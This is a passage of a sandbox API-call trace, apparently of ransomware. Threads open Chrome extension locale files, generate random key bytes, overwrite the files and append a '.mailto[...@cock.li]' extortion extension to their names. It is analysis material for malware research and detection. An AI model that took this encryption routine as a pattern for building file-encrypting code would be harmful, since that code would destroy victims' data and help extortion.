Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json", dwFileAttributes=0x20) returned 1 [0176.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xaf4 [0176.353] GetFileSizeEx (in: hFile=0xaf4, lpFileSize=0x8c3fe28 | out: lpFileSize=0x8c3fe28*=671) returned 1 [0176.353] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x29b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.353] ReadFile (in: hFile=0xaf4, lpBuffer=0x8c3fdac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8c3fda8, lpOverlapped=0x0 | out: lpBuffer=0x8c3fdac*, lpNumberOfBytesRead=0x8c3fda8*=0x4, lpOverlapped=0x0) returned 1 [0176.354] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.354] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458e8 [0176.354] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459d8 [0176.354] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945528 [0176.354] NtQuerySystemTime (in: CurrentTime=0x8c3fd88 | out: CurrentTime=0x8c3fd88*=132174899509438000) returned 0x0 [0176.354] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x56d701a0 [0176.354] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x28652819 [0176.354] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0xf41ee5a [0176.354] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x18393378 [0176.354] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x1fd890f1 [0176.354] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x442e4058 [0176.354] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x25f0d208 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x79110158 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x2a3ad618 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x59ba1de6 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x7ce2e08a [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x3b466ce4 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x107e5b15 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x4d1fd224 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x3e89e691 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x3a33e967 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x68ac09ae [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x673ac559 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x7ed1c310 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x29d1aba2 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x478ac651 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x78dac4a3 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x46f17df4 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x5cf78fe9 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x60b6e1eb [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x259c019 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x7be2b2c3 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x5b5d6f42 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0xf7378f8 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x546737c5 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x5a06a942 [0176.355] RtlRandomEx (in: Seed=0x8c3fd94 | out: Seed=0x8c3fd94) returned 0x351745ff [0176.368] ReadFile (hFile=0xaf4, lpBuffer=0xd51e088, nNumberOfBytesToRead=0x29f, lpNumberOfBytesRead=0x8c3fd84, lpOverlapped=0x0) [0176.368] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.368] WriteFile (in: hFile=0xaf4, lpBuffer=0x12d01008*, nNumberOfBytesToWrite=0x29f, lpNumberOfBytesWritten=0x8c3fd80, lpOverlapped=0x0 | out: lpBuffer=0x12d01008*, lpNumberOfBytesWritten=0x8c3fd80*=0x29f, lpOverlapped=0x0) returned 1 [0177.519] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af2d0 [0177.519] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed08 [0177.519] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed08) returned 1 [0177.520] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d01008) returned 1 [0177.520] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd51e088) returned 1 [0177.520] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8878) returned 1 [0177.520] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d26b0) returned 1 [0177.520] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0xd4d8110 [0177.520] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.520] WriteFile (in: hFile=0xaf4, lpBuffer=0x12cf6210*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x8c3fde8, lpOverlapped=0x0 | out: lpBuffer=0x12cf6210*, lpNumberOfBytesWritten=0x8c3fde8*=0x10b, lpOverlapped=0x0) returned 1 [0179.030] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6210) returned 1 [0179.030] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8140) returned 1 [0179.033] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed08) returned 1 [0179.033] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8110) returned 1 [0179.033] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af2d0) returned 1 [0179.033] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9459d8) returned 1 [0179.033] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a50) returned 1 [0179.033] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945c80) returned 1 [0179.033] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x909db8 [0179.033] wcscpy (in: _Dest=0x909db8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" [0179.033] wcscat (in: _Dest=0x909db8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0179.033] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8c3fda0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0179.033] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x8f3eb8 Thread: id = 6990 os_tid = 0xa30 [0176.372] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json")) returned 0x2020 [0176.373] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json", dwFileAttributes=0x20) returned 1 [0176.373] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd8c [0176.373] GetFileSizeEx (in: hFile=0xd8c, lpFileSize=0x777f870 | out: lpFileSize=0x777f870*=642) returned 1 [0176.373] SetFilePointerEx (in: hFile=0xd8c, liDistanceToMove=0x27e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.373] ReadFile (in: hFile=0xd8c, lpBuffer=0x777f7f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x777f7f0, lpOverlapped=0x0 | out: lpBuffer=0x777f7f4*, lpNumberOfBytesRead=0x777f7f0*=0x4, lpOverlapped=0x0) returned 1 [0176.375] SetFilePointerEx (in: hFile=0xd8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.375] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458e8 [0176.375] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945528 [0176.375] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0176.375] NtQuerySystemTime (in: CurrentTime=0x777f7d0 | out: CurrentTime=0x777f7d0*=132174899509750000) returned 0x0 [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x597331e1 [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x507e15fd [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x1ecdc68f [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x380c35fe [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x4e177550 [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x20f63dae [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x28e32dfc [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x3d9b8a13 [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x42c5cecd [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x29140705 [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x7a7f7817 [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x1684d615 [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x571832f4 [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x52a29a25 [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0xfd5f3cb [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x15cb1ba1 [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x735f7e18 [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x521d522 [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x55113b2e [0176.375] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x479abe10 [0176.376] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x6f745a01 [0176.376] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0xba30335 [0176.376] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x4174beb4 [0176.376] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x5f93d8fb [0176.376] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x26a88f68 [0176.376] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x5d8cd81e [0176.376] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x6aa8f246 [0176.376] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x4aea4401 [0176.376] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x17947ef1 [0176.376] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x799723a5 [0176.376] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x27305a60 [0176.376] RtlRandomEx (in: Seed=0x777f7dc | out: Seed=0x777f7dc) returned 0x665ea691 [0176.388] ReadFile (hFile=0xd8c, lpBuffer=0x12d0d810, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0x777f7cc, lpOverlapped=0x0) [0176.388] SetFilePointerEx (in: hFile=0xd8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.388] WriteFile (in: hFile=0xd8c, lpBuffer=0x12d1a018*, nNumberOfBytesToWrite=0x282, lpNumberOfBytesWritten=0x777f7c8, lpOverlapped=0x0 | out: lpBuffer=0x12d1a018*, lpNumberOfBytesWritten=0x777f7c8*=0x282, lpOverlapped=0x0) returned 1 [0177.548] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee70 [0177.548] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af3e8 [0177.549] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af3e8) returned 1 [0177.549] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d1a018) returned 1 [0177.556] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d0d810) returned 1 [0177.559] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9340) returned 1 [0177.559] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2428) returned 1 [0177.559] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0xd4d8350 [0177.559] SetFilePointerEx (in: hFile=0xd8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.559] WriteFile (in: hFile=0xd8c, lpBuffer=0x12cf5090*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x777f830, lpOverlapped=0x0 | out: lpBuffer=0x12cf5090*, lpNumberOfBytesWritten=0x777f830*=0x10b, lpOverlapped=0x0) returned 1 [0178.853] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5090) returned 1 [0178.853] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8380) returned 1 [0178.853] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af3e8) returned 1 [0178.853] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8350) returned 1 [0178.853] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee70) returned 1 [0178.853] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945528) returned 1 [0178.853] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945690) returned 1 [0178.853] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945820) returned 1 [0178.853] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x8f6cd8 [0178.853] wcscpy (in: _Dest=0x8f6cd8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" [0178.853] wcscat (in: _Dest=0x8f6cd8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0178.853] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x777f7e8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0178.853] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x8f6e60 Thread: id = 6991 os_tid = 0x950 [0176.390] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json")) returned 0x2020 [0176.407] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json", dwFileAttributes=0x20) returned 1 [0176.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf2c [0176.408] GetFileSizeEx (in: hFile=0xf2c, lpFileSize=0x98afa70 | out: lpFileSize=0x98afa70*=812) returned 1 [0176.408] SetFilePointerEx (in: hFile=0xf2c, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.408] ReadFile (in: hFile=0xf2c, lpBuffer=0x98af9f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x98af9f0, lpOverlapped=0x0 | out: lpBuffer=0x98af9f4*, lpNumberOfBytesRead=0x98af9f0*=0x4, lpOverlapped=0x0) returned 1 [0176.410] SetFilePointerEx (in: hFile=0xf2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.410] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458e8 [0176.410] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0176.410] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945c30 [0176.410] NtQuerySystemTime (in: CurrentTime=0x98af9d0 | out: CurrentTime=0x98af9d0*=132174899510062000) returned 0x0 [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x36fd8961 [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x318e9413 [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x31749b3e [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x49f50fbf [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x507ea7d2 [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x42a3a154 [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x3a50132d [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x5b329682 [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x57c16071 [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x4b6550e [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x5f9d4019 [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x1a4dc989 [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x31cad595 [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x3aa081a8 [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x3091291e [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x572801ef [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x4fa2dae4 [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x7c6f5145 [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x604c6a8f [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x6c06816a [0176.410] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x38736c85 [0176.411] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x4efac7c2 [0176.411] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x4c47099 [0176.411] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x4f71ae0a [0176.411] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x3e99a4fe [0176.411] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x675429e5 [0176.411] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x16716a93 [0176.411] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x37cfc36c [0176.411] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x1e3e5ffb [0176.411] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x1958035a [0176.411] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x7e344c45 [0176.411] RtlRandomEx (in: Seed=0x98af9dc | out: Seed=0x98af9dc) returned 0x193265df [0176.423] ReadFile (hFile=0xf2c, lpBuffer=0x12d26820, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x98af9cc, lpOverlapped=0x0) [0176.423] SetFilePointerEx (in: hFile=0xf2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.423] WriteFile (in: hFile=0xf2c, lpBuffer=0x12d33028*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x98af9c8, lpOverlapped=0x0 | out: lpBuffer=0x12d33028*, lpNumberOfBytesWritten=0x98af9c8*=0x32c, lpOverlapped=0x0) returned 1 [0177.545] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef10 [0177.545] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeee8 [0177.545] RtlFreeHeap (HeapHandle=0x8c0000, 